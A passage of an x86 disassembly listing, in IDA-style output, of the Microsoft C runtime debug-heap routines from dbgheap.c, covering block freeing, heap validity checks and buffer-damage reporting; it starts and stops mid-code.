int 3 ; Trap to Debugger loc_41752D: ; CODE XREF: sub_4174F0+1Aj ; sub_4174F0+3Aj xor ecx, ecx test ecx, ecx jnz short loc_417503 loc_417533: ; CODE XREF: sub_4174F0+11j cmp [ebp+arg_0], 0 jnz short loc_41753E jmp loc_4178D5 ; --------------------------------------------------------------------------- loc_41753E: ; CODE XREF: sub_4174F0+47j push 0 push 0 push 0 mov edx, [ebp+arg_4] push edx push 0 mov eax, [ebp+arg_0] push eax push 3 call off_442D18 add esp, 1Ch test eax, eax jnz short loc_417588 loc_41755D: ; CODE XREF: sub_4174F0+91j push offset aClientHookFree ; "Client hook free failure.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_41757D int 3 ; Trap to Debugger loc_41757D: ; CODE XREF: sub_4174F0+8Aj xor ecx, ecx test ecx, ecx jnz short loc_41755D jmp loc_4178D5 ; --------------------------------------------------------------------------- loc_417588: ; CODE XREF: sub_4174F0+6Bj ; sub_4174F0+CDj mov edx, [ebp+arg_0] push edx call sub_418030 add esp, 4 test eax, eax jnz short loc_4175B9 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 3F3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4175B9 int 3 ; Trap to Debugger loc_4175B9: ; CODE XREF: sub_4174F0+A6j ; sub_4174F0+C6j xor eax, eax test eax, eax jnz short loc_417588 mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_4], ecx loc_4175C8: ; CODE XREF: sub_4174F0+12Fj mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41761B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jz short loc_41761B mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41761B mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jz short loc_41761B push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 3F9h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41761B int 3 ; Trap to Debugger loc_41761B: ; CODE XREF: sub_4174F0+E6j ; sub_4174F0+EFj ... xor edx, edx test edx, edx jnz short loc_4175C8 mov eax, dword_442C00 and eax, 4 test eax, eax jnz loc_4176F6 push 4 mov cl, byte_442C0C push ecx mov edx, [ebp+var_4] add edx, 1Ch push edx call sub_417B40 add esp, 0Ch test eax, eax jnz short loc_417690 loc_41764D: ; CODE XREF: sub_4174F0+19Ej mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_442C10[ecx*4] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_41768A int 3 ; Trap to Debugger loc_41768A: ; CODE XREF: sub_4174F0+197j xor eax, eax test eax, eax jnz short loc_41764D loc_417690: ; CODE XREF: sub_4174F0+15Bj push 4 mov cl, byte_442C0C push ecx mov edx, [ebp+var_4] mov eax, [edx+10h] mov ecx, [ebp+var_4] lea edx, [ecx+eax+20h] push edx call sub_417B40 add esp, 0Ch test eax, eax jnz short loc_4176F6 loc_4176B3: ; CODE XREF: sub_4174F0+204j mov eax, [ebp+var_4] add eax, 20h push eax mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_442C10[ecx*4] push edx push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_4176F0 int 3 ; Trap to Debugger loc_4176F0: ; CODE XREF: sub_4174F0+1FDj xor eax, eax test eax, eax jnz short loc_4176B3 loc_4176F6: ; CODE XREF: sub_4174F0+13Bj ; sub_4174F0+1C1j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 3 jnz short loc_41776B loc_4176FF: ; CODE XREF: sub_4174F0+249j mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_417714 mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 0 jz short loc_417735 loc_417714: ; CODE XREF: sub_4174F0+219j push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"... push 0 push 40Eh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417735 int 3 ; Trap to Debugger loc_417735: ; CODE XREF: sub_4174F0+222j ; sub_4174F0+242j xor ecx, ecx test ecx, ecx jnz short loc_4176FF mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_442C0D push ecx mov edx, [ebp+var_4] push edx call sub_4189A0 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41C8C0 add esp, 4 jmp loc_4178D5 ; --------------------------------------------------------------------------- loc_41776B: ; CODE XREF: sub_4174F0+20Dj mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 2 jnz short loc_417781 cmp [ebp+arg_4], 1 jnz short loc_417781 mov [ebp+arg_4], 2 loc_417781: ; CODE XREF: sub_4174F0+282j ; sub_4174F0+288j ... mov edx, [ebp+var_4] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_4177AD push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 41Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4177AD int 3 ; Trap to Debugger loc_4177AD: ; CODE XREF: sub_4174F0+29Aj ; sub_4174F0+2BAj xor ecx, ecx test ecx, ecx jnz short loc_417781 mov edx, [ebp+var_4] mov eax, dword_492068 sub eax, [edx+10h] mov dword_492068, eax mov ecx, dword_442C00 and ecx, 2 test ecx, ecx jnz loc_4178AC mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_4177EC mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+4] mov [ecx+4], eax jmp short loc_41782A ; --------------------------------------------------------------------------- loc_4177EC: ; CODE XREF: sub_4174F0+2EAj ; sub_4174F0+32Cj mov ecx, dword_49205C cmp ecx, [ebp+var_4] jz short loc_417818 push offset a_plastblockPhe ; "_pLastBlock == pHead" push 0 push 42Ah push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417818 int 3 ; Trap to Debugger loc_417818: ; CODE XREF: sub_4174F0+305j ; sub_4174F0+325j xor edx, edx test edx, edx jnz short loc_4177EC mov eax, [ebp+var_4] mov ecx, [eax+4] mov dword_49205C, ecx loc_41782A: ; CODE XREF: sub_4174F0+2FAj mov edx, [ebp+var_4] cmp dword ptr [edx+4], 0 jz short loc_417842 mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx] mov [ecx], eax jmp short loc_41787F ; --------------------------------------------------------------------------- loc_417842: ; CODE XREF: sub_4174F0+341j ; sub_4174F0+382j mov ecx, dword_492064 cmp ecx, [ebp+var_4] jz short loc_41786E push offset a_pfirstblockPh ; "_pFirstBlock == pHead" push 0 push 434h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41786E int 3 ; Trap to Debugger loc_41786E: ; CODE XREF: sub_4174F0+35Bj ; sub_4174F0+37Bj xor edx, edx test edx, edx jnz short loc_417842 mov eax, [ebp+var_4] mov ecx, [eax] mov dword_492064, ecx loc_41787F: ; CODE XREF: sub_4174F0+350j mov edx, [ebp+var_4] mov eax, [edx+10h] add eax, 24h push eax xor ecx, ecx mov cl, byte_442C0D push ecx mov edx, [ebp+var_4] push edx call sub_4189A0 add esp, 0Ch mov eax, [ebp+var_4] push eax call sub_41C8C0 add esp, 4 jmp short loc_4178D5 ; --------------------------------------------------------------------------- loc_4178AC: ; CODE XREF: sub_4174F0+2DEj mov ecx, [ebp+var_4] mov dword ptr [ecx+14h], 0 mov edx, [ebp+var_4] mov eax, [edx+10h] push eax xor ecx, ecx mov cl, byte_442C0D push ecx mov edx, [ebp+var_4] add edx, 20h push edx call sub_4189A0 add esp, 0Ch loc_4178D5: ; CODE XREF: sub_4174F0+49j ; sub_4174F0+93j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4174F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_417900 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417900 proc near ; CODE XREF: .text:004178E9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, dword_442C00 and eax, 4 test eax, eax jz short loc_417945 loc_417915: ; CODE XREF: sub_417900+43j call sub_417BD0 test eax, eax jnz short loc_41793F push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 47Ch push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41793F int 3 ; Trap to Debugger loc_41793F: ; CODE XREF: sub_417900+1Cj ; sub_417900+3Cj xor ecx, ecx test ecx, ecx jnz short loc_417915 loc_417945: ; CODE XREF: sub_417900+13j push 9 call sub_41BC90 add esp, 4 loc_41794F: ; CODE XREF: sub_417900+84j mov edx, [ebp+arg_0] push edx call sub_418030 add esp, 4 test eax, eax jnz short loc_417980 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 485h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417980 int 3 ; Trap to Debugger loc_417980: ; CODE XREF: sub_417900+5Dj ; sub_417900+7Dj xor eax, eax test eax, eax jnz short loc_41794F mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_8], ecx loc_41798F: ; CODE XREF: sub_417900+E6j mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_4179E2 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 1 jz short loc_4179E2 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_4179E2 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_4179E2 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 48Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4179E2 int 3 ; Trap to Debugger loc_4179E2: ; CODE XREF: sub_417900+9Dj ; sub_417900+A6j ... xor edx, edx test edx, edx jnz short loc_41798F mov eax, [ebp+var_8] cmp dword ptr [eax+14h], 2 jnz short loc_4179FE cmp [ebp+arg_4], 1 jnz short loc_4179FE mov [ebp+arg_4], 2 loc_4179FE: ; CODE XREF: sub_417900+EFj ; sub_417900+F5j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_417A39 loc_417A07: ; CODE XREF: sub_417900+137j mov edx, [ebp+var_8] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_417A33 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 492h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417A33 int 3 ; Trap to Debugger loc_417A33: ; CODE XREF: sub_417900+110j ; sub_417900+130j xor ecx, ecx test ecx, ecx jnz short loc_417A07 loc_417A39: ; CODE XREF: sub_417900+105j mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_4], eax push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417900 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_442C08 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_442C08, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi push 9 call sub_41BC90 add esp, 4 mov eax, [ebp+8] push eax call sub_418030 add esp, 4 test eax, eax jz short loc_417B0C mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx loc_417AAA: ; CODE XREF: .text:00417B01j mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_417AFD mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_417AFD mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_417AFD mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jz short loc_417AFD push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4D3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417AFD int 3 ; Trap to Debugger loc_417AFD: ; CODE XREF: .text:00417AB8j ; .text:00417AC1j ... xor edx, edx test edx, edx jnz short loc_417AAA mov eax, [ebp-4] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_417B0C: ; CODE XREF: .text:00417A9Fj push 9 call sub_41BD30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, off_442D18 mov [ebp-4], eax mov ecx, [ebp+8] mov off_442D18, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B40 proc near ; CODE XREF: sub_4174F0+151p ; sub_4174F0+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_417B4E: ; CODE XREF: sub_417B40:loc_417BBCj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_417BBE mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_417BBC loc_417B7B: ; CODE XREF: sub_417B40+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_417BAF int 3 ; Trap to Debugger loc_417BAF: ; CODE XREF: sub_417B40+6Cj xor ecx, ecx test ecx, ecx jnz short loc_417B7B mov [ebp+var_4], 0 loc_417BBC: ; CODE XREF: sub_417B40+39j jmp short loc_417B4E ; --------------------------------------------------------------------------- loc_417BBE: ; CODE XREF: sub_417B40+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417B40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BD0 proc near ; CODE XREF: sub_416B00:loc_416B1Cp ; sub_416F00:loc_416F62p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_4], 1 mov eax, dword_442C00 and eax, 1 test eax, eax jnz short loc_417BF6 mov eax, 1 jmp loc_417F28 ; --------------------------------------------------------------------------- loc_417BF6: ; CODE XREF: sub_417BD0+1Aj push 9 call sub_41BC90 add esp, 4 call sub_41C930 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_417D19 cmp [ebp+var_C], 0FFFFFFFEh jz loc_417D19 mov ecx, [ebp+var_C] mov [ebp+var_18], ecx mov edx, [ebp+var_18] add edx, 6 mov [ebp+var_18], edx cmp [ebp+var_18], 3 ja loc_417CE2 mov eax, [ebp+var_18] jmp ds:off_417F2F[eax*4] loc_417C3F: ; CODE XREF: sub_417BD0+93j ; DATA XREF: .text:00417F3Bo push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417C5F int 3 ; Trap to Debugger loc_417C5F: ; CODE XREF: sub_417BD0+8Cj xor ecx, ecx test ecx, ecx jnz short loc_417C3F jmp loc_417D08 ; --------------------------------------------------------------------------- loc_417C6A: ; CODE XREF: sub_417BD0+68j ; sub_417BD0+BEj ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417C8A int 3 ; Trap to Debugger loc_417C8A: ; CODE XREF: sub_417BD0+B7j xor edx, edx test edx, edx jnz short loc_417C6A jmp short loc_417D08 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417BD0+68j ; sub_417BD0+E6j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417CB2 int 3 ; Trap to Debugger loc_417CB2: ; CODE XREF: sub_417BD0+DFj xor eax, eax test eax, eax jnz short loc_417C92 jmp short loc_417D08 ; --------------------------------------------------------------------------- loc_417CBA: ; CODE XREF: sub_417BD0+68j ; sub_417BD0+10Ej ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417CDA int 3 ; Trap to Debugger loc_417CDA: ; CODE XREF: sub_417BD0+107j xor ecx, ecx test ecx, ecx jnz short loc_417CBA jmp short loc_417D08 ; --------------------------------------------------------------------------- loc_417CE2: ; CODE XREF: sub_417BD0+5Fj ; sub_417BD0+136j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417D02 int 3 ; Trap to Debugger loc_417D02: ; CODE XREF: sub_417BD0+12Fj xor edx, edx test edx, edx jnz short loc_417CE2 loc_417D08: ; CODE XREF: sub_417BD0+95j ; sub_417BD0+C0j ... push 9 call sub_41BD30 add esp, 4 xor eax, eax jmp loc_417F28 ; --------------------------------------------------------------------------- loc_417D19: ; CODE XREF: sub_417BD0+3Cj ; sub_417BD0+46j mov eax, dword_492064 mov [ebp+var_8], eax jmp short loc_417D2B ; --------------------------------------------------------------------------- loc_417D23: ; CODE XREF: sub_417BD0:loc_417F16j mov ecx, [ebp+var_8] mov edx, [ecx] mov [ebp+var_8], edx loc_417D2B: ; CODE XREF: sub_417BD0+151j cmp [ebp+var_8], 0 jz loc_417F1B mov [ebp+var_10], 1 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_417D70 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 1 jz short loc_417D70 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_417D70 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 3 jnz short loc_417D88 loc_417D70: ; CODE XREF: sub_417BD0+17Bj ; sub_417BD0+184j ... mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_442C10[ecx*4] mov [ebp+var_14], edx jmp short loc_417D8F ; --------------------------------------------------------------------------- loc_417D88: ; CODE XREF: sub_417BD0+19Ej mov [ebp+var_14], offset aDamaged ; "DAMAGED" loc_417D8F: ; CODE XREF: sub_417BD0+1B6j push 4 mov al, byte_442C0C push eax mov ecx, [ebp+var_8] add ecx, 1Ch push ecx call sub_417B40 add esp, 0Ch test eax, eax jnz short loc_417DE4 loc_417DAA: ; CODE XREF: sub_417BD0+20Bj mov edx, [ebp+var_8] add edx, 20h push edx mov eax, [ebp+var_8] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_14] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_417DD7 int 3 ; Trap to Debugger loc_417DD7: ; CODE XREF: sub_417BD0+204j xor eax, eax test eax, eax jnz short loc_417DAA mov [ebp+var_10], 0 loc_417DE4: ; CODE XREF: sub_417BD0+1D8j push 4 mov cl, byte_442C0C push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov ecx, [ebp+var_8] lea edx, [ecx+eax+20h] push edx call sub_417B40 add esp, 0Ch test eax, eax jnz short loc_417E41 loc_417E07: ; CODE XREF: sub_417BD0+268j mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_8] mov edx, [ecx+18h] push edx mov eax, [ebp+var_14] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_417E34 int 3 ; Trap to Debugger loc_417E34: ; CODE XREF: sub_417BD0+261j xor ecx, ecx test ecx, ecx jnz short loc_417E07 mov [ebp+var_10], 0 loc_417E41: ; CODE XREF: sub_417BD0+235j mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 0 jnz short loc_417E9A mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov dl, byte_442C0D push edx mov eax, [ebp+var_8] add eax, 20h push eax call sub_417B40 add esp, 0Ch test eax, eax jnz short loc_417E9A loc_417E6B: ; CODE XREF: sub_417BD0+2C1j mov ecx, [ebp+var_8] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417E8D int 3 ; Trap to Debugger loc_417E8D: ; CODE XREF: sub_417BD0+2BAj xor edx, edx test edx, edx jnz short loc_417E6B mov [ebp+var_10], 0 loc_417E9A: ; CODE XREF: sub_417BD0+278j ; sub_417BD0+299j cmp [ebp+var_10], 0 jnz short loc_417F16 mov eax, [ebp+var_8] cmp dword ptr [eax+8], 0 jz short loc_417EDC loc_417EA9: ; CODE XREF: sub_417BD0+30Aj mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_14] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_417ED6 int 3 ; Trap to Debugger loc_417ED6: ; CODE XREF: sub_417BD0+303j xor eax, eax test eax, eax jnz short loc_417EA9 loc_417EDC: ; CODE XREF: sub_417BD0+2D7j ; sub_417BD0+33Dj mov ecx, [ebp+var_8] mov edx, [ecx+10h] push edx mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_14] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 20h cmp eax, 1 jnz short loc_417F09 int 3 ; Trap to Debugger loc_417F09: ; CODE XREF: sub_417BD0+336j xor edx, edx test edx, edx jnz short loc_417EDC mov [ebp+var_4], 0 loc_417F16: ; CODE XREF: sub_417BD0+2CEj jmp loc_417D23 ; --------------------------------------------------------------------------- loc_417F1B: ; CODE XREF: sub_417BD0+15Fj push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] loc_417F28: ; CODE XREF: sub_417BD0+21j ; sub_417BD0+144j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417BD0 endp ; --------------------------------------------------------------------------- off_417F2F dd offset loc_417CBA ; DATA XREF: sub_417BD0+68r dd offset loc_417C92 dd offset loc_417C6A dd offset loc_417C3F align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F40 proc near ; CODE XREF: sub_41B390+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_442C00 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_417F5B mov ecx, [ebp+arg_0] mov dword_442C00, ecx loc_417F5B: ; CODE XREF: sub_417F40+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_417F40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_442C00 and eax, 1 test eax, eax jnz short loc_417F82 jmp short loc_417FD3 ; --------------------------------------------------------------------------- loc_417F82: ; CODE XREF: .text:00417F7Ej push 9 call sub_41BC90 add esp, 4 mov ecx, dword_492064 mov [ebp-4], ecx jmp short loc_417F9F ; --------------------------------------------------------------------------- loc_417F97: ; CODE XREF: .text:loc_417FC7j mov edx, [ebp-4] mov eax, [edx] mov [ebp-4], eax loc_417F9F: ; CODE XREF: .text:00417F95j cmp dword ptr [ebp-4], 0 jz short loc_417FC9 mov ecx, [ebp-4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_417FC7 mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_417FC7: ; CODE XREF: .text:00417FB4j jmp short loc_417F97 ; --------------------------------------------------------------------------- loc_417FC9: ; CODE XREF: .text:00417FA3j push 9 call sub_41BD30 add esp, 4 loc_417FD3: ; CODE XREF: .text:00417F80j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FE0 proc near ; CODE XREF: sub_418030+19p ; .text:0041812Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_41801D mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_49440C test eax, eax jnz short loc_41801D cmp [ebp+arg_8], 0 jz short loc_418014 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call ds:dword_494408 test eax, eax jnz short loc_41801D loc_418014: ; CODE XREF: sub_417FE0+20j mov [ebp+var_4], 1 jmp short loc_418024 ; --------------------------------------------------------------------------- loc_41801D: ; CODE XREF: sub_417FE0+8j ; sub_417FE0+1Aj ... mov [ebp+var_4], 0 loc_418024: ; CODE XREF: sub_417FE0+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_417FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418030 proc near ; CODE XREF: sub_416F00+1AAp ; sub_4174F0+9Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41803E xor eax, eax jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_41803E: ; CODE XREF: sub_418030+8j push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_417FE0 add esp, 0Ch test eax, eax jnz short loc_418059 xor eax, eax jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_418059: ; CODE XREF: sub_418030+23j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_41CB40 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_418086 mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_41CBA0 add esp, 8 jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_418086: ; CODE XREF: sub_418030+3Fj mov ecx, dword_492094 and ecx, 8000h test ecx, ecx jz short loc_41809D mov eax, 1 jmp short loc_4180B2 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_418030+64j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_49377C push eax call ds:dword_494410 loc_4180B2: ; CODE XREF: sub_418030+Cj ; sub_418030+27j ... mov esp, ebp pop ebp retn sub_418030 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] push eax call sub_418030 add esp, 4 test eax, eax jnz short loc_4180DB xor eax, eax jmp loc_41819F ; --------------------------------------------------------------------------- loc_4180DB: ; CODE XREF: .text:004180D2j push 9 call sub_41BC90 add esp, 4 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_418120 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_418120 mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh 